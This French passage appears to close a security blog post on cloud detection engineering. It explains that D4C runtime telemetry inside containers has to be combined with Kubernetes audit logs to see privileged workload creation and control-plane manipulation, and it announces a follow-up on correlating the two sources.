Ce scénario met également en évidence une limite architecturale importante. Alors que D4C offre une visibilité approfondie de l'exécution à l'intérieur des conteneurs, certaines étapes d'escalade, telles que la création de charges de travail privilégiées ou la manipulation du plan de contrôle, nécessitent la télémétrie des journaux d'audit de Kubernetes pour une visibilité complète. Une détection efficace de l'informatique en nuage dépend donc de la combinaison de sources de données d'exécution et de plan de contrôle.

Dans la prochaine phase de cette série, nous étendrons ce modèle au-delà de la limite des conteneurs et explorerons l'ingénierie de détection du plan de contrôle de Kubernetes, en corrélant les journaux d'audit avec les événements d'exécution de D4C pour détecter les attaques en plusieurs étapes qui couvrent les charges de travail, les nœuds et le cluster lui-même.

Partager cet article